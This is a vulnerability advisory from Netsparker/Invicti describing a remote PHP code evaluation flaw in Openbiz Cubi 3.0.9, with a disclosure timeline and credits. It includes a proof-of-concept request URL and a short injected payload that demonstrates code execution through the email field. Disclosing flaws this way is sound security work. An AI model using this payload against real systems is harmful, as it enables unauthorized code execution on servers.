Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Remote Code Evaluation Openbiz Cubi
Affected Software: Openbiz Cubi
Affected Versions: 3.0.9 and possibly below
Vendor Homepage: http://www.openbiz.me/developer/cubi.php
Vulnerability Type: Remote Code Evaluation
Severity: Critical
Invicti Advisory Reference: NS-14-045

Description
--------------------
An attacker can execute arbitrary PHP code on the system. The attacker may also be able to execute arbitrary system commands.

Technical Details 
--------------------
Proof of Concept URLs for RCE in Openbiz Cubi:

http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.ForgetPassForm]&P1=[ResetPassword]&__this=btn_restpass:onclick&_thisView=user.view.ForgetPassView (POST, fields: email)
'+print(int)0xFFF9999-22+'

For more information on RCE vulnerabilities read the article Remote Code Evaluation.

Advisory Timeline
--------------------
27/06/2014 - First Contact
07/07/2014 - Second Contact
24/12/2014 - Advisory Released

Credits & Authors
--------------------
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
--------------------
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.